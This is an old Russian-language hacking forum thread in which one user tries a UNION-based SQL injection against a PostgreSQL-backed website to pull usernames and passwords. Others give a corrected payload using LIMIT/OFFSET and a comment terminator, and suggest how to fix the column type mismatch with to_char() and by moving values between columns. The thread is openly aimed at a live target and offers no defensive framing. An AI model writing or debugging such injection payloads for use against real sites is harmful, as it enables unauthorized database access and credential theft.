Sql

Discussion in 'Уязвимости' started by MAAAD, 24 Jul 2007.

  1. MAAAD

    MAAAD New Member

    Joined:
    4 Oct 2006
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Code:
    id=-99999+union+select+1,null,null,user,null,6,null,null+from+user+password+limit+0,1
    Выводится

    Query failed: ERROR: LIMIT #,# syntax is not supported HINT: Use separate LIMIT and OFFSET clauses. in /var/www/.............

    Скобки фильтруются, что можно сделать?!
     
  2. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Не поддерживается такая маска limit`а, можно использовать только один операнд.
    делай так
    Code:
    id=-9999+union+select+1,null,null,user,null,6,null,null+from+user+password+limit+1+offset+1/*
     
  3. MAAAD

    MAAAD New Member

    Joined:
    4 Oct 2006
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0

    Я бы рад, но тогда сразу вылезает вот что:

    Warning: pg_query() [function.pg-query]: Query failed: ERROR: UNION types integer and name cannot be matched in /var/www/

    Warning: pg_fetch_object() expects parameter 1 to be resource, boolean given in /var/www/

    Notice: Trying to get property of non-object in /var/www/
     
  4. MAAAD

    MAAAD New Member

    Joined:
    4 Oct 2006
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Что сделать?!
     
  5. MAAAD

    MAAAD New Member

    Joined:
    4 Oct 2006
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Ошибка запроса:Mixing of GROUP columns (MIN(),MAX(),COUNT()...) with no GROUP columns is illegal if there is no GROUP BY clause

    А с этим что сделать?!
     
  6. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    типы данных не совпадают
    пробуй в другие поля вставлять
     
    #6 Spyder, 27 Jul 2007
    Last edited: 27 Jul 2007
  7. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    to_char()

    а вообще есть статья, в которой все подробно описано

    статья от spyder вроде
     
    1 person likes this.